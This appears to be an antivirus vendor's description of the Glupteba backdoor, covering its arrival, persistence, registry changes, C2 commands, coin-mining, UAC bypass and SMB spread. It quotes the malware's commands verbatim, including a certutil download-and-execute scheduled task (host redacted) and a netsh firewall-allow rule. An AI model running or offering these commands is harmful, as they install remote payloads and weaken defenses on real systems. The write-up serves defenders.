Backdoor.Win32.GLUPTEBA.MBU

This Backdoor arrives on a system as a file dropped by other malware or as a file downloaded unknowingly by users when visiting malicious sites.

It connects to a website to send and receive information.

Arrival Details

This Backdoor arrives on a system as a file dropped by other malware or as a file downloaded unknowingly by users when visiting malicious sites.

Installation

This Backdoor drops the following copies of itself into the affected system:

• %Windows%\rss\csrss.exe

(Note: %Windows% is the Windows folder, where it usually is C:\Windows on all Windows operating system versions.)

It adds the following processes:

• "schtasks /CREATE /SC ONLOGON /RL HIGHEST /TR "{Malware file path and name}" /TN csrss /F"
• "schtasks /CREATE /SC ONLOGON /RL HIGHEST /RU SYSTEM /TR "cmd.exe /C certutil.exe -urlcache -split -f https://{BLOCKED}ct.info/app/app.exe %User Temp%\csrss\scheduled.exe && %User Temp%\csrss\scheduled.exe /31340" /TN ScheduledUpdate /F

It adds the following mutexes to ensure that only one of its copies runs at any one time:

• Global\h48yorbq6rm87zot
• Global\ewzy5hgt3x5sof4v
• Global\y7ze3fznx1u0yc2z

Autostart Technique

This Backdoor adds the following registry entries to enable its automatic execution at every system startup:

HKEY_CURRENT_USER\Software\Microsoft\
Windows\CurrentVersion\Run
{Name stored in HKEY_CURRENT_USER\Software\Microsoft\bd2d26d3\Name} = %Windows%\rss\csrss.exe

Other System Modifications

This Backdoor adds the following registry entries:

HKEY_CURRENT_USER\Software\Microsoft\
bd2d26d3
Name = {Value}

HKEY_CURRENT_USER\Software\Microsoft\
bd2d26d3
Firewall = {Value}

HKEY_CURRENT_USER\Software\Microsoft\
bd2d26d3
Defender = {Value}

HKEY_CURRENT_USER\Software\Microsoft\
bd2d26d3
Servers = https://{BLOCKED}es.com, https://{BLOCKED}ge.com, https://{BLOCKED}at.com

HKEY_CURRENT_USER\Software\Microsoft\
bd2d26d3
UUID = {Value}

HKEY_CURRENT_USER\Software\Microsoft\
bd2d26d3
FirstInstallDate = {Value}

HKEY_CURRENT_USER\Software\Microsoft\
bd2d26d3
ServiceVersion = {Value}

HKEY_CURRENT_USER\Software\Microsoft\
bd2d26d3
SC = {Value}

HKEY_CURRENT_USER\Software\Microsoft\
bd2d26d3
PGDSE = {Value}

HKEY_CURRENT_USER\Software\Microsoft\
bd2d26d3
VC = {Value}

HKEY_CURRENT_USER\Software\Microsoft\
bd2d26d3
ServersVersion = {Value}

HKEY_CURRENT_USER\Software\Microsoft\
bd2d26d3
CDN = https://{BLOCKED}ct.info

HKEY_CURRENT_USER\Software\Microsoft\
bd2d26d3
OSCaption = {Value}

HKEY_CURRENT_USER\Software\Microsoft\
bd2d26d3
OSArchitecture = {Value}

HKEY_CURRENT_USER\Software\Microsoft\
bd2d26d3
IsAdmin = {Value}

HKEY_CURRENT_USER\Software\Microsoft\
bd2d26d3
AV = {Value}

HKEY_CURRENT_USER\Software\Microsoft\
bd2d26d3
PatchTime = {Value}

HKEY_CURRENT_USER\Software\Microsoft\
bd2d26d3
CPU = {Value}

HKEY_CURRENT_USER\Software\Microsoft\
bd2d26d3
GPU = {Value}

Backdoor Routine

This Backdoor connects to the following websites to send and receive information:

• {URL stored in HKEY_CURRENT_USER\Software\Microsoft\bd2d26d3\Servers}

It connects to the following URL(s) to send and receive commands from a remote malicious user:

• Update itself
• Stop XMR mining
• Check if a process is running
• Check if an event or mutex exists
• Verify signatures of PE files
• Download and execute services
• Establish heartbeat
• Download and execute files
• Upload file
• Read blockchain data
• Take screenshot

Download Routine

This Backdoor connects to the following website(s) to download and execute a malicious file:

• {URL stored in HKEY_CURRENT_USER\Software\Microsoft\bd2d26d3\CDN}

It saves the files it downloads using the following names:

• %User Temp%\csrss\vc.exe
• %User Temp%\csrss\smb\deps.zip
• %User Temp%\wup\wup.exe (downloaded coinminer component)
• %Windows%\windefender.exe (downloaded watchdog.exe from CDN URL)

(Note: %User Temp% is the current user's Temp folder, which is usually C:\Documents and Settings\{user name}\Local Settings\Temp on Windows 2000(32-bit), XP, and Server 2003(32-bit), or C:\Users\{user name}\AppData\Local\Temp on Windows Vista, 7, 8, 8.1, 2008(64-bit), 2012(64-bit) and 10(64-bit).. %Windows% is the Windows folder, where it usually is C:\Windows on all Windows operating system versions.)

Information Theft

Upon execution of the affected application, it gathers the following information:

• Campaign ID
• Distributor ID
• OS information (architecture, caption)
• CPU information
• GPU information
• First install date
• Installed malware version
• Installed AV products
• Firewall information
• Flag whether the malware was executed as an admin
• Active window name
• SID

Other Details

This Backdoor adds the following registry keys:

HKEY_CURRENT_USER\Software\Microsoft\
bd2d26d3

It does the following:

• It drops the following drivers in %System%\drivers:
  • winmon.sys
  • winmon32.sys
  • winmon64.sys
  • winmonfs32.sys
  • winmonfs64.sys
  • winmonprocessmonitor32.sys
  • winmonprocessmonitor64.sys
  • winmonsystemmonitor-10-64.sys
  • winmonsystemmonitor-7-10-32.sys
  • winmonsystemmonitor-7-64.sys
• It adds the following processes to bypass firewall rules:
  • cmd.exe /C "netsh advfirewall firewall add rule name="csrss" dir=in action=allow program="%Windows%\rss\csrss.exe" enable=yes"
• It creates Windows Defender exclusions by adding registry entries in HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusion\Paths using its created files and folders as values.
• It hides its related files and processes from the infected machine.
• It adds services for every driver dropped in %System%\drivers.
• It abuses CompMgmtLauncher to bypass UAC and modifies HKEY_CURRENT_USER\Software\Classes\mscfile\shell\open\command to escalate privileges (if not executed in Windows 10).
• It abuses fodhelper.exe to bypass UAC and modifies HKEY_CURRENT_USER\Software\Classes\ms-settings\shell\open\command to escalate privileges (if executed in Windows 10).
• It terminates itself if found running in a virtual machine.
• It terminates itself if found running inside an Azure machine.
• It terminates itself if an AV product is found running.
• It uses EternalBlue/DoublePulsar components to takes advantage of the following software vulnerabilities to distribute its coinminer component across networks:
  • Microsoft Windows SMB Server (MS17-010) Vulnerability

(Note: %System% is the Windows system folder, where it usually is C:\Windows\System32 on all Windows operating system versions.. %Windows% is the Windows folder, where it usually is C:\Windows on all Windows operating system versions.)

It adds the following scheduled tasks:

• Task name: csrss
  Task to be run: {Malware file path and name}
• Task name: ScheduledUpdate
  Task to be run: cmd.exe /C certutil.exe -urlcache -split -f https://{BLOCKED}ct.info/app/app.exe %User Temp%\csrss\scheduled.exe && %User Temp%\csrss\scheduled.exe /31340